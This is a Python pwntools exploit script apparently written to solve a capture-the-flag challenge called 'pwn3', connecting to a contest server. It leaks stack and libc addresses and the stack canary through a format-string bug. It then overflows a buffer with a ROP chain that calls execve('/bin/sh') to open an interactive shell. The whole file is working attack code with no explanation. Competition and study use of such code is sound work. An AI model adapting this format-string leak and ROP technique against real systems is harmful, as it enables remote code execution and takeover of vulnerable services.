#!/usr/bin/env python3

from pwn import *

format_string = "|".join(["%p" for _ in range(65)])

r = remote("hax1.allesctf.net", 9102)
#r = process("./pwn3")

r.sendline(b"CSCG{NOW_GET_VOLDEMORT}")
#r.sendline(b"CSCG{THIS_IS_TEST_FLAG}")

r.sendline(format_string)
leaks = r.recvuntil("enter your magic spell:").decode("utf-8").split("|")

stack = int(leaks[39], 16)
canary = int(leaks[38], 16)
in_libc = int(leaks[2], 16)

padding = b"A" * 251
libc = in_libc - 0x111317

pop_rsi = libc + 0x2709c    # pop rsi; ret;
pop_rdx = libc + 0x11c421  # pop rdx; pop r12; ret; 
execve_bin_sh = libc + 0xe6b99  # execve("/bin/sh", rsi, rdx)

print("-"*35)
log.info(f"canary cookie: {hex(canary)}")
log.info(f"libc: {hex(libc)}")
log.info(f"rbp: {hex(stack)}")  # set the rbp to the stack
log.info(f"pop_rsi: {hex(pop_rsi)}")
log.info(f"pop_rdx: {hex(pop_rdx)}")
log.info(f"execve_bin_sh: {hex(execve_bin_sh)}")
print("-"*35)

payload = b"Expelliarmus\x00"
payload += padding

payload += p64(canary)
payload += p64(stack)

payload += p64(pop_rsi)
payload += p64(0)

payload += p64(pop_rdx)
payload += p64(0)
payload += p64(0)

payload += p64(execve_bin_sh)

r.sendline(payload)

r.interactive()

